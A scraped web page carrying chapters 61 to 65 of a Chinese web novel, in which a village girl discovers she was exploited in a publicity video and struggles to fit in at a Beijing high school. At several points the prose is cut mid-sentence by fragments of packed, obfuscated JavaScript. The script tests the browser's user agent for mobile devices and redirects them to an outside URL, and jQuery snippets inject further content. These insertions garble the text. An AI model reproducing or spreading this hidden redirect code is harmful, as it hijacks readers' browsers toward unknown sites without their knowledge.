d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742575|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站在太阳底下,从低到高,像一串沉默且呆滞的多米诺骨牌。过了许久,祝婴宁才打破沉默,一拍掌心,说:“其实,塞翁失马,焉知非福,虽然被赶出了网吧,但我们现在可以去书店买辅导书了!” 孙明远和张霖:“?” 孙明远的成绩还能勉强评个“平平无奇”,张霖才是真的惨不忍睹。他从小就不爱学习,一翻开辅导书就犯困,听到祝婴宁说去书店,他立刻表示:“我就不去了,我回家补觉去。”说完生怕祝婴宁缠上他,撒开腿就想跑。 “欸欸欸。”孙明远赶紧拉住他,在他耳边低声咆哮,“你怎么敢拒绝她?!” “我怎么不敢拒绝她?”张霖一脸莫名其妙,半点面子都不给,“她又不是我的谁,我管她怎么想呢。” “我不是这个意思,我的意思是……”孙明远苦着脸,做出假哭的表情,趁祝婴宁没留意这边,他指了指手腕,用口型说,“脱臼,脱臼——她可是能把人手腕掰脱臼的啊!答应我,别惹她好不好?” 张霖一个激灵,手腕霎时一阵幻痛。 祝婴宁没留意到他俩的眉眼官司,看向他们,问:“怎么样?你们要来吗?” “哦,呃……”张霖嘴唇磕巴了一下,“我对学习没什么兴趣,不过……你说得对,学习要赢在起跑线上。” “那太好了!你不爱学习还能有这种想法,这很不错。那我们现在就走吧。”她再次从裤兜里摸出那张纸条,展开来,看了眼上面记录的书目和地址,活力满满地走到前头带路去了。 张霖和孙明远相继松了口气。 张霖抬腿跟了上去,孙明远回头瞟了眼落在最后面的许思睿,正想催他跟上,就看到许思睿偏头看向一侧,很浅很快地笑了笑。 ** 该怎样形容那个笑容呢? 它转瞬即逝,清浅又温柔,与其说那是笑,不如说是憋笑过后嘴角回落的余波,就像落叶打着旋飘向泥土地,不仔细看,会以为晃起的弧度只是错觉。 但它确凿无疑是一个笑。 再浅再快,那也是笑,发自真心,出于愉悦。 孙明远愣住了。 许思睿家出事以后,这是他第一次看到他露出这种真情实意的笑容。 这个笑归功于谁不言而喻,孙明远看向祝婴宁的背影,脑子里仿佛有一个塞子,啵的一声,被人拔开了,一种前所未有的清明和了然灌入他的脑海,一个新的秘密在他心里成型。 原来是这样啊…… 原来,原来。 他摩挲着下巴,眼睛微眯,嘴角愉悦地朝上翘,心想这可真有意思,比那什么破游戏有意思多了。 62. 预兆 “对,你把银行卡插进去,选择这里的转账功能。”祝知微站在ATM机旁边指点着祝婴宁。 炎炎夏日,骄阳似火,自助服务区里没开空调,狭小的空间闷似火炉,没多久她们颈侧就沁出了细细密密的一层汗。祝婴宁抬手擦了擦脖颈,深感抱歉地看向祝知微:“微微姐,你还是先回大楼吧。” “没事,我看着你转完。带你试过一次,以后你就知道怎么操作了。”她抬了抬下巴,食指虚虚戳上屏幕,“在这输入你们家银行卡的卡号,你应该记得吧?” “记得的,我背下来了。”她按照记忆按出刘桂芳的银行卡号,在转账金额那栏输入700。这几乎是她这个月所有工资,祝知微给她发了837,她把零头留下来,打算攒着给自己买学习用品,这样就不用劳烦许正康给她发零用钱了,另外一百块作为许思睿那件羽绒服的还款,其余则转回家里作为家用——主要是祝大山的医药费。 前几天陈斌给她打来了电话,说已经帮祝吉祥申请到了国家助学金,这大大减轻了她肩上的负担,否则既要养活家里四口人,又要给祝大山挣医药费,还得给祝吉祥攒学费,她真的不知道该怎么办才好了。 祝婴宁对陈斌千恩万谢,而陈斌照样说了一通“你好好学习就是对我最大的感谢”之类的话。聊到最后,许是出于关心,陈斌关切地问了句:“对了,许思睿怎么样,他现在应该早就已经把网瘾戒了吧,回到大城市,是不是好好学习,开始体谅父母了?” “呃……” 祝婴宁挠了挠脸颊,不知道该怎么回答。 网瘾,那当然是没戒掉的,学习,自然也是没有好好学习的,至于体谅父母……不提也罢。 虽然那天出了网吧,他跟着她去了书店,但整个过程,他都表现得懒洋洋的,随便找个书架往那一靠,书也不看,练习册也不挑,要不是她坚持热脸贴冷屁股,自作主张帮他选了几本,他估计会两手空空地来又两手空空地出去。 祝婴宁不明白他是通宵太久累了困了,还是心理上打不起精神。 总之,经过这几天的缜密观察,她发现许思睿确实变了。 变得很淡,很空。 这种“淡”不是说他脾气变好了。没有,这人的脾气还是那个死德性。他的“淡”更多呈现成无所谓和不感兴趣。他好像失去了感到激动和快乐的能力,像个轻飘飘的空心人。 同样是去网吧鬼混,她能感觉出张霖是真心热爱打游戏,就连孙明远这个半吊子,玩上头了也是发自内心乐呵,可许思睿不一样,祝婴宁觉得他玩游戏时,魂并没有真正放在游戏上。也许他以前确实热爱玩游戏,但现在,他坐在网吧里上网,似乎仅仅只是因为…… 除了坐在那里面对电脑,他不知道还能干什么。 祝婴宁没有把她观察到的结果告诉陈斌,她本能地不想向其他人展示许思睿的困顿。是出于君子守则吗?她自己也说不清楚。 在糊里糊涂中,开学日变得迫在眉睫。 ** 回想起来,祝婴宁觉得她的倒霉早有预兆。 从开学前一天的电话开始,一切就都充满了不详。 电话是刘桂芳打来的,打的是许思睿家的座机。一个月没和家人联系,接起电话时,她心里不可谓不激动,“喂”了一声,尾音甚至有些破音,刚想问对面的刘桂芳有没有收到转账,就听刘桂芳哭着说:“我是哪里对不起你,你居然这么恨我?” 她握着话筒,被自己阿妈突如其来的指控打得措手不及,怔了许久,才问:“发生什么了,是转账出了问题?” “转账?你居然还好意思提转账?要不是今天来镇上取你汇来的钱,看到那个视频,我都不知道你这样跟记者说我!宁宁,做人要讲良心啊!我看你是去城里一趟,良心被城里人卖了!” “视频?记者?”她像个故障的复读机,只会呆呆重复刘桂芳的指控,“什么记者?” “你不是接受了那个记者的采访吗?你别告诉我你连这都要骗人!” 她仔细一回想,想起自己刚来许思睿家那天,确实有在车上接受一个记者采访,于是不确定道:“我刚来这的时候,有个记者跟在许叔叔车……” “对!就是他!”刘桂芳激动起来,打断她的话,“你现在倒是想起来了?你知不知道我这回来镇上,镇上人都怎么说我?你阿妈做人几十年,还是头一回被人戳脊梁骨嚼舌根,你个丧了良心的!我和你阿爸辛辛苦苦供你读书,什么时候逼你嫁过人了?!我是那种卖女儿求荣的人吗?你个——你个——”她说到最后,像是倒不过气来,抚着胸口喘了片刻,随意骂了几句,便把电话摔了,只剩祝婴宁依然在这头握着话筒神魂出窍。 什么骗人?什么嫁人?什么丧了良心? 为什么她一句都听不懂? 许正康房间里有台笔记本电脑,是几年前的款式了,玩不了游戏,只能浏览网页。许正康曾把密码告诉她,跟她说学习上有什么不懂的都可以用这台电脑查。她先前用过一回,用那电脑查了高一的辅导书,别的就再没用过了。此时此刻,在这种一头抓瞎的情况下,她下意识想到可以求助于电脑,可以上网查查发生了什么事。 许正康不在家,祝婴宁走进主卧,不太熟练地翻开电脑盖,按下开机键,焦虑地啃着指甲等它开机。 两分钟后,屏幕变成Windows默认界面,她点开浏览器,鼠标移动到输入栏时,大脑忽而卡住了。 搜什么关键词好呢? 记者?不行,范围太大了。 要不……干脆搜许叔叔? 她试探着在搜索栏输入许正康的全名,按下enter键。本以为会弹出许多条目,毕竟许正康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752221|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的生意做得挺大的,可意外的是,网页上只出来了两条信息,一条是许正康的百度百科,一条是标题为“慈善企业家改变了她的一生?揭秘山村女孩凄惨困境”的采访。她点进那条采访,页面跳转到了土豆视频。 几秒的广告后,她看到视频里出现了自己的脸—— 她背着那个脏兮兮的蛇皮袋,徘徊在火车出站口。 她伸出手,激动地说“许叔叔您好”。 她坐进车里,局促地将手搭在膝盖上。 “祝婴宁同学,我采访你几个问题好不好啊?”记者的声音隐隐绰绰从视频里传出来。 “好,您尽管采访。”她的声音同样恍如隔着薄雾。 “你能跟我们描述一下你在山里的生活吗?是不是每天都要劈柴挑水,非常辛苦?” “是,很辛苦。” “你们那的学校是不是非常老破小,是不是压根没几个老师?” “是。” “如果你没有继续读书,接下来是不是就要被父母逼着嫁人了?” “是。” 镜头一切,场景来到了街道上,祝婴宁认出这是许思睿家楼下的街道,杨子昊对着镜头说:“刚刚那个采访大家也看到了,像祝婴宁这种被父母逼着早早嫁人的女孩,在山村里并非个例,她们不仅没有书读,甚至小小年纪便要面临生育之苦,当城市里的女孩畅游于书海,她们却要考虑如何伺候公婆,这是何等不幸?据祝婴宁本人透露,她的父母甚至曾商量着要把她嫁给同村一个瘸腿老男人。幸好,在这危急关头,有许正康这样正直的企业家出面,愿意给这些山村女孩提供求学的机会,是许正康这样正直廉洁的企业家,改变了这些可怜人的一生……” 镜头晃到许正康脸上,许正康露出一个谦逊的笑:“这是我身为企业家应当承担的社会职责……” 后面的内容,祝婴宁便没有再看了,她叉掉网页,关闭电脑,呆滞地看着电脑关机时屏幕上旋转的圆标。 断章取义的剪辑,似是而非的造谣,夸大其词的描述,构成了一个看似无伤大雅的谎言。可她望着虚空,却只感到空落和迷茫。原来山里女孩真实经历过的困境,可以像这样被随意拼凑剪辑,当成他人扶摇而上的云梯。她其实并不介意许正康拿她本人进行炒作,恶意贬低她也好,刻意羞辱她也罢,他于她有恩,被当成炒作工具无非也是一种报恩的方式。可他剪贴到她身上用以炒作的经历,是她珍视的朋友和她试图拯救而不得的那些同学们曾经血淋淋应对过的现实。 世界的残酷朝她揭开一角,她窥见了何为谎言,何为真相—— 真相的尸体砌成谎言,谎言的镜子映照真相。 而在她心里,由于许思睿的存在而被她提前加上了十层滤镜的许正康,忽然从滤镜里剥离出来,变成了一个陌生的符号,朦朦胧胧,模模糊糊。 63. 格格不入 第二个预兆发生在开学当日。 早晨刚醒来,祝婴宁的右眼皮就狂跳不止。作为一个信奉马克思唯物主义的二十一世纪新青年,她没有在意左眼跳财右眼跳灾的迷信说法,揉了揉眼睛就跟随许思睿出门了。 许正康没时间送他们,他们需要自己坐地铁上学。 早上六点半,地铁站的人不多,空座位很多,上面坐着的基本都是学生。许思睿正在用iPod听歌,耳朵里塞着耳机,祝婴宁不好去打扰他,只好抠着书包带子,坐在座位上盯着路线图神游天外。 到达了目的地,许思睿径直刷开出站闸,走向B出口。耳机里正放着Adele的成名曲《RollingintheDeep》,他跟随副歌的音乐节奏走得飞快,走出七八百米才意识到哪里不对,猛一回头,身后是空的。 …… 完了,该不会把人落在地铁上了吧? 他模模糊糊记起祝婴宁出门前仿佛跟他提过这是她第一次坐地铁。许思睿一个头两个大地往回走,祈祷她只是在出站口附近迷路了,而不是还留在列车上。 正担忧着,旁边的绿化树上骤然从天而降一个黑影,他吓得脚一滑,险些原地摔倒,站定了,眯眼一看,是祝婴宁提着一只小猫的后颈站在树下,由于清早下过小雨,绿化树下的泥土还是湿的,她往下跳时,鞋子连同一小截脚踝就这么水灵灵地扎进了泥土里,犹如一杆标枪被人笔直地投进扇形落地区。 “……” 许思睿深吸一口气,目光在她手里那只喵喵叫的小猫上逡巡一圈,不用猜就知道她刚刚之所以消失一定是因为爬树去救猫了。他缓缓将那口气叹出来,伸手给她,把她从绿化带下的泥地里拔了出来。 白鞋已然变成了黑鞋,她在绿化带边缘蹭了蹭脚底的泥,尽量蹭掉了一些。 接着继续前行去学校。 高一随机分班,他们被分到了不同的班级,连楼层都不一样,许思睿比她高一楼。他戴着耳机继续朝上爬,祝婴宁在转角处同他分道扬镳。 想到要独自面对一班全新的同学,她难得有些紧张,在教室后门徘徊几秒,才壮起胆子,抬头挺胸地走了进去。 教室里已经到了一半的同学,大家三两成堆,正兴致勃勃地分享着暑假做了什么事,她走进来时,大家纷纷朝她投来视线,发现并不认识她以后,又相继收回目光,继续和身边的人聊天了。 她按照讲台上的座位表找到自己的座位,同桌是个长发女孩,脸上化着淡妆,发尾烫成羊毛卷,身上散发出甜滋滋的果香,正转向身后,和后桌的男生聊得热火朝天。 祝婴宁放下书包,想打招呼,却不知道如何开口,憋了半天,憋出一句生硬且傻气的—— “你好!” 女生被她吓了一跳,用余光撇了她一眼,冷淡又疏离地点了点头,刚想继续和后桌男生聊天,嘴还没张开,就听她说:“我叫祝婴宁,我们以后就是同桌了,很高兴认识你,请问你叫什么名字?” 呃…… 这是在干嘛?自我介绍? 邵彦君还是头一次见到这么生硬的问好方式,尬在原地,尬了很久,才缓慢道:“邵彦君。” “邵燕君?你的名字真好听,是哪几个字呢,燕子的燕?君子的君?” 后桌的戴以泽吃吃笑起来。他和邵彦君是异性闺蜜,从小学一直同班到高中,熟到不能再熟,他知道邵彦君最讨厌的就是自己的名字,尤其是“彦”字,基本上每到一个新班级,这个“彦”字都会害她被老师误认成男生。祝婴宁一开口就踩了个惊天地雷。 邵彦君的脸果然黑了几分,淡声道:“产字下面带三撇那个彦。” “哦哦。”闻言,祝婴宁眼睛一亮,说,“原来是这个彦啊!好大气啊,真好听。” 她是真心夸赞,然而听在邵彦君耳里却是另一番滋味,她扯着嘴角勉强笑了笑,不再理会她了,扭头继续和戴以泽谈笑。 祝婴宁不知道还能怎么搭话,只好坐在自己的座位上默默发呆。 随着时间流逝,教室里的人越来越多,她的前后桌也渐渐被人坐满了,祝婴宁很快发现了一个问题—— 这些人互相之间都认识。 她仔细想了想,猜测他们可能都是同个初中升上来的,她隐约记得许正康跟她提过,说这个学校有初中部。 ……完了,这简直是最差的情况。她不怕去到一个全新的地方,和陌生人从头建立同学关系,她怕的是这些人互相之间已经形成了圈子,已经固化的圈子是最难融入的。 然后就像是为了印证她的担心,上课铃响后,老师走进来,朝下面环视了一圈,熟捻地玩笑道:“怎么回事?怎么都是熟面孔啊?” 底下的同学也稀稀拉拉笑起来,管讲台上的年轻男老师叫“阳哥”。 老师和同学们其乐融融地笑闹了片刻,才端正脸色,说:“我看咱班上也还有几个生面孔,那我还是做个自我介绍吧,我叫洪青阳,以后就是你们的班主任兼数学老师了。” 他讲了一通开学的套话,祝婴宁希望能尽快融入班级,因此听得很认真,还时不时低头做做笔记。 邵彦君震惊地看着她,看了一会儿,忍不住问:“你到底在记些什么?” “嗯?”祝婴宁以为她这么问是出于好奇,于是将本子递给她,热情地回答,“我在记老师说的东西。” 邵彦君低头一看,发现祝婴宁的笔记本上工工整整写着:“1.遵守校规,团结同学……2.早上六点五十分前到校……3.数学课不能打瞌睡,要尊重老师……” 她看了两眼就忍不住笑喷了,捂着嘴巴,把本子拿给后座的戴以泽:“你瞧瞧。” 戴以泽扫了眼,也跟着无声狂笑起来。 祝婴宁不明白他们在笑什么,但即使不明白,她也能感受到他们笑容中微妙的讥诮,就好像她干了一件多么蠢的蠢事一样。她窘迫地抠了抠课桌边沿。邵彦君笑完了才把本子还给她,拍拍她的肩,说:“好学生,牛的。”她做了个加油的手势,“继续记吧。” 虽然她叫她继续记,但祝婴宁握着笔,忽然就有些记不下去了,那支轻飘飘的笔莫名变得沉重起来。恰好这时洪青阳的谈话接近尾声,他在讲台上清了清嗓子,道:“好,老生常谈就说到这,下面我找几个同学去礼堂搬书。” 班上瞬间怨声载道,男生们接连低下头,避开和他进行眼神接触,免得被安排苦力活。 “欸!咋回事啊你们,一个个的,还怎么年轻,怎么做点事跟要你们命一样?都积极点啊!尤其是男生,谁想主动报名?没人我就随机叫座位号了。” “不要吧老师,怎么每学期都是我们男生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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说“小山高的”并不是夸张,而是写实,那袋书足有三分之二个她那么高,被她抱在怀里,完全挡住了她的脸,不仔细看还以为是山自己走进了教室。 讲台上的洪青阳大吃一惊:“怎么回事,怎么你一个人搬那么多?” 他看向祝婴宁身后那几个空着手的男生,严肃道,“你们几个怎么回事?怎么都让女同学自己一个人搬了?” “老师,冤枉啊!”那几个男生挠着头,“我们也想帮忙,可她自己一个人就搬起来了,说不用我们帮忙。” “是的,老师。”祝婴宁从袋子后探出脸,脸色一如往常,完全没有疲累的痕迹,活力四射地说,“这些书比我想的轻多了,以后要是还有这种活,您让我一个人搬都可以。” 洪青阳还是第一次见识这种学生,瞠目结舌,说:“这……这怎么可以?” 她把怀里的书举了举,稳妥地放到地上,龇出一口白牙笑道:“我真的不觉得重。老师,您不知道,我们村的人都说我力气可大了!” 她从未觉得从山村出来是什么丢脸的事,也从未想过要遮掩,应该说,她根本没有“需要遮掩”的意识,说出自己的来处对她来说就像喝水吃饭一样自然,然而几乎是她话音落地的那一秒,班上就安静了。 几秒后,底下爆发出一阵哄笑。 64. 我叫祝婴宁 “笑什么?都安静!”洪青阳拍了拍讲台。 班上的哄笑声这才渐渐停歇,有几个人笑得脸都红了,讲台旁的祝婴宁脸也很红,却不是笑出来的,而是因为羞窘。 “好了,既然你搬了书,发书的工作就交给其他同学吧。”洪青阳打着圆场,让祝婴宁回到座位上。 她点点头,同手同脚地走了回去,步伐呆滞,脑子里有点空。 屁股才刚挨到椅面,就听不远处坐在过道边的同学怪叫道:“啥呀……地上这是什么?好脏!” 过道边的其他同学纷纷侧目,祝婴宁也看了过去,发现过道地面上散落着斑斑点点的土块,那些土块排成长列,终点直指她的鞋底—— 是早上救猫时不小心踩进湿泥里沾染上的泥土,现在泥土干了,渐渐随着她走路的动作从鞋面上剥落下来,弄脏了教室干净的地板。 数不清的视线沿着土块堆叠成的长列望向她脏污的鞋子,那些视线有惊诧,有嫌弃,还有一种混合着好奇的同情,它们共同拧成一道闪电,轰隆劈开她混沌的脑子,让她宛如遭受雷击般僵在了原地。 洪青阳也看到了,不冷不热地继续打着圆场:“今天人多,走来走去的,弄脏很正常,值日生辛苦下,下课后扫一扫。” 不幸沦为今日值日生的戴以泽闻言,哀嚎起来,朝前面祝婴宁的背影翻了个白眼,用口型一字一顿冲邵彦君说:“果、然、是、乡、下、来、的。” 邵彦君意味不明地笑了一声。 几乎是下课铃一响,洪青阳刚离开教室,祝婴宁就从座位上弹了起来,小跑到教室后取出打扫工具,默默返回过道,开始清扫地上的泥土。 戴以泽瞧见了,什么都没说,也没任何表示,依然和前桌的邵彦君聊得热火朝天,好像今天的值日生本来就该是她一样。过道旁的同学有些主动为她让开了道,有些仍站在原地和朋友畅聊,被她低声提醒了,才抬了抬脚,懒洋洋看她用扫帚聚拢土堆。 ** 上午的课程结束后,班上学生很快开始呼朋引伴,拉着自己熟识的朋友同去食堂用餐,还有不少外班的人特意跑来他们班找人。大家陆陆续续离开了,教室里的座位空了一大半,祝婴宁坐在座位上做了片刻心理建设,才揣上饭卡,独自一人前往饭堂。 其实她并不是一个习惯依赖他人的人,从前在山里,她也常常独来独往,独自处理许多事情。 但是…… 这是不一样的。 以前的“独立”是主动选择的结果,现在的“独立”却是被动面临的困境,虽然都是独来独往,可它们有本质上的区别。她难以说服自己完全不在意内心深处那股源源不断往外冒泡的孤独的感觉。 尤其是来到食堂后,食堂纷纷扰扰,每张餐桌上都坐着几位一看就是昔日好友的学生。她跟随人群前往打饭窗口排队,如同一只晕头转向的蚂蚁汇入了不属于她的族群。 这种刷卡打饭的事情,祝婴宁依然是第一次经历,为了避免出糗,轮到她之前,她一直在密切观察前头的学生,轮到她以后,她仿照那些人的操作,对打饭阿姨说:“一份番茄炒蛋,一份番薯叶,二两饭,谢谢。” 阿姨利落地把菜盛到盘里,在盛饭时颠了颠勺,把二两饭颠成一两饭,面无表情在刷卡机上输入金额,朝她身后喊:“下一位!” 她目睹了全程,却唯唯诺诺不敢出声,唯恐据理力争会耽误后头同学的时间,惹得大家更加不快,只好假装没有看到这一幕,掏出饭卡,在刷卡机上刷了一下,端着饭盆便要离开。 “嗳!”阿姨尖声叫住她,“没刷到。” 她愣了愣,再次将饭卡贴上刷卡机。 ——没有声音。 阿姨不耐烦地抱怨:“怎么回事啊?你这卡都没刷到!你刷成功了它会哔的一声,你这都没响!” “我不知道它为什么不响……”她手忙脚乱,反反复复把卡贴上去又放下来,刷卡机却依然毫无动静,她小心翼翼地问,“会不会是刷卡机坏了?” “瞎扯淡,怎么轮到别人都没事,轮到你就坏了?”阿姨的耐心马上见了底,“哎——你这学生!去去去,边上去!下一位!” 就在她不知所措,且尴尬得恨不得挖个洞把自己埋了时,身旁忽然伸来一只捏着饭卡的手,帮她把刷卡机上的金额刷了。 哔的一声,刷卡成功。 祝婴宁转过身,忙不迭朝出手相助那人千恩万谢,就差给那人跪下了:“同学,太谢谢你了,请问你在哪个班级?我过后拿现金还你。” “不用。”替她刷卡的是个白胖的男生,鼻梁上架着一副黑色圆框眼镜,头发用发油工整地向后梳起,看起来有股不符合年龄的精明与成熟,他说,“你叫祝婴宁吧?我叫邹皓,和你同班,下午竞选班长时你记得投我一票就行了。” ** 端着餐盘找到空位坐下后,祝婴宁仍处在呆滞中无法回神。 竞选班长……天哪,她都快忘了正常学校开学时需要竞选班干部了。以前在山里时,由于大家普遍都没兴趣当吃力不讨好的班干部,班干部通常由老师直接指派,她肩负的那些班长啊科代表啊的职位就是这么来的。 惯性使然,以至于她从来没有认真想过某些问题,比如,到了新班级,到底还要不要继续当班长? 想吗?扪心自问,当然是想的。 敢吗?这问题祝婴宁却答不上来,邹皓那句“下午竞选班长时你记得投我一票就行了”在她脑海里3D环绕,如绳索般捆缚她的手脚。 正纠结着,许思睿的身影便闯入了她眼角的余光。祝婴宁瞬间打了鸡血般挺直腰身,整个人都来了精神。 不怪她激动,在这种没有他人作伴的陌生场合偶遇熟悉的人,简直堪比他乡逢故知,她没有泪盈于睫地扑上去已经是尽量克制过后的结果了。可是,正当她从座位上站起来,打算开口叫住他时,他身后却忽然跟出一个陌生男孩和一个陌生女孩,他们三人说说笑笑地朝前头另一条餐桌去了。 啊…… 仿佛被迎头泼了桶凉水,祝婴宁激动的心情瞬间冷却,心里只剩下淡淡的怅然。 原来他已经交到新朋友了啊…… 她觉得自己该为许思睿开心,可坐回座位时,那股本就存在的落寞却因为刚刚那一幕被放大了千百倍,几乎让她食不下咽。她本着不浪费粮食的原则勉强往嘴里塞着食物,慢吞吞咀嚼着,却什么味道都没尝出来。 ** 吃完午饭回到教室,祝婴宁第一时间就找出相应的现金还给了邹皓。 邹皓没有推辞,将钱收下,又随口重复了一遍:“下午竞选班长你记得投我啊。” 祝婴宁不好意思拒绝他,毕竟邹皓不久前才在食堂帮过她,可也无法立即答应,因为她自己也想当班长。她僵硬地站在他课桌前,像个人格分裂患者一样含糊其辞地发出了几个无意义的单音节,又觉得自己这副不果决的样子实在太讨厌了,一点都不像她,正想开口跟他解释清楚,就听周围人笑道:“邹皓,你烦不烦啊,每回开学都得这样拉票,你不拉大家肯定也投你啊!你都当多少年班长了,不投你投谁?” 邹皓冷静地推了推眼镜:“你不懂,人要有防范于未然的意识,搞不好这学期就有人和我竞选班长了呢?” “你就扯吧,除了你还有哪个傻逼稀罕当班长啊?” 祝婴宁即将出口的解释就这么咽回去了,她抠着指甲,慢慢挪回了自己的座位。 ** 下午最后一节课是班会课,依然由洪青阳主持。祝婴宁魂不守舍了一个下午,纠结得脑袋都要冒烟了,也还是没想好究竟要不要和邹皓争这个所谓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769610|171080||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “傻逼才稀罕当”的班长。 “老规矩。”洪青阳拿尺子敲着黑板,在黑板上写下各个职位,“选一下班干部哈。科代表和体委就不选了,由你们各科任课老师自己决定,这节课主要是搞定班长、副班长、团支书、学习委员和宣传委员。职位都写在黑板上了,想当的自己上来把名字写下边,写完以后每人发表下三分钟竞词,最后预留十分钟给全班同学匿名投票。没意见吧?” “没——有——”底下学生稀稀拉拉应道。 “那开始吧。”洪青阳拍了拍手,退到一边,坐到了讲台旁的椅子上,翘起二郎腿。 班里先是静了一下,几秒过后,邹皓才从座位上站起来,目的明确,在班长和团支书那栏都写下了自己的姓名。他的字很好看,颜筋柳骨,极其端正的楷书,一看就是特意学过书法的。祝婴宁一看他的字,整个人又蔫了几分。 写完名字,邹皓清了清嗓子,将粉笔塞回粉笔盒,大方又自然地开口道:“大家肯定都认识我了,我就不扯那些无聊的自我介绍了,那是庸人才搞的东西,我就简单谈谈我当班长的理念和优势吧。班级管理需要的不是世界大同,那太虚了,社会主义谁都能喊几句,关键是怎么做?用KPI思维量化班级管理体系才是elitegamer的玩法,我从小学五年级开始就能用SWOT分析帮助少年宫策划模联比赛了……奉行一种strategicunderachievement的游刃有余……最后,我想说,学生时代的投票也是长期人际关系投资的一环,欢迎大家对我进行投资,投我相当于投资你们的socialcapital嘛。” 他这番话结束,祝婴宁的下巴都要掉到书桌上了。她第一次见到这种说话中英混杂的人,他说的那些听起来高深莫测的用词,尤其是英文用词,她完全搞不懂,而比他的竞选内容更吓人的是他念到英文单词时那满口地道流畅的英音发音,地道到仿佛是个土生土长的英国人,仿佛喉咙里住了个英国女王。 邹皓举了个躬,志得意满回到座位,他虽然什么都没说,那表情却分明已经觉得自己胜券在握。底下同学也很给面子地鼓了鼓掌,有人甚至直接开始叫他班长,半开玩笑地说:“班长,知道你牛逼,但你别特么装逼了,说点人话行不行?” 看,大家甚至都直接叫他班长了,她还有必要纠结要不要跟他争吗? 一种前所未有的焦虑将她团团笼罩住,她头一回意识到自己是多么拿不上台面。如果说邹皓是橱柜里精雕细琢的定制商品,她就是一块未经雕刻的木头,摸一摸都嫌毛刺扎手那种。她既听不懂邹皓的话,又没有他的人缘,她凭什么敢产生跟他竞选班长的念头? 可是,可是…… 就在她几乎快要放弃的时候,那天乘坐绿皮火车来到北京前的场景忽然在她眼前重映,她看到陈斌穿着那身庄重得略显可怜的衬衫站在磨砂玻璃外,听到他说:“好好学习,天天向上。”他微胖且疲倦的身影被火车远远甩在后头,连同她故乡的山水。 那时她是怎么说的?她说的是:“我会的,陈老师!” 是啊,她来北京是为了什么?她来北京好像不是为了来这自卑的吧? 城市驯化他乡异客的第一步就是催生她的自卑,将从前自信的根基寸寸折断。 但她难道非得被这座城市驯化吗? 喀拉一声,是椅子轻轻划过地面的声响。她头脑一热便站了起来,自己也不知道自己想干什么。手脚仿佛有自己的意识,牵引她的意志来到讲台,牵引她拾起粉笔,在邹皓的名字下板板正正写下自己的姓名。 “大、大家好,我叫祝婴宁……我来自G省一个偏僻的小山村……很高兴认识你们。我想……我想竞选班长这个职位!” 她面朝讲台下惊诧的同学,用颤颤巍巍的声音做起庸人的自我介绍。 65. 受刺激 “我没有参加过什么比赛,但是……但是我有当班长的经验,从小学一年级到初中三年级,我有很多很多年的经验。如果我能成为班长,我会尽我所能,为需要的同学提供帮助,我会团结集体,嗯……对,团结集体,然后……让我们这个班变得越来越好。” 祝婴宁上来时全凭一股热血,以至于压根没想好要说什么,将这一通朴素又结巴的竞辞讲完,她就词穷了,而此时距她上台仅仅只过去了半分钟。她并非笨嘴拙舌之人,从前在班上演讲也远不至于如此木讷,可见在新班级接连碰壁的经历还是给她带来了一些负面影响。 她努力想再说点什么,脑袋里却空荡荡的,空到拿根木棍敲一敲都能听到铛铛的回音。 沉默。 窒息般的沉默在班里蔓延开。 她和前排同学相顾无言,最后前排同学扛不住她的目光,不得不假装学习,低头翻阅着课本,借此避开了她的目光。她只好转头和洪青阳对视。 洪青阳被她盯得不自觉放下了二郎腿,想了想,将双手交叉放在膝盖上,发挥着班主任循循善诱的职能:“要怎样帮助?用什么帮助?可以说得再具体点。” “呃,用……” 祝婴宁难以避免地想起了邹皓说的“KPI思维”和“SWOT分析”,她说不出这么高级的东西,脑海里蹦出来的第一个回答是用热情帮助大家。 可以这么说吗?用热情帮助大家?说出来会不会太傻了? 就在她天人交战时,底下不知道哪个男生接了句:“用浑身使不完的牛劲帮助大家呗。” 话音刚落,底下原本被她尬到沉默的同学被这句插科打诨逗得再次哄笑起来。 笑声此起彼伏,如同海岸边一波又一波涌上来的潮浪,拍在讲台桌壁上,拍在黑板上,也拍在祝婴宁身上。洪青阳头疼不已,正想再度出面整顿纪律,就听讲台上的祝婴宁小声说:“……对。” 声音不大,一开始只有前排的同学听到,她索性提了提音量,突然大声道:“对!” 班上原本正笑得乐不可支的同学都被她这声气贯长虹的“对”给喊懵了,纷纷止住了笑声。 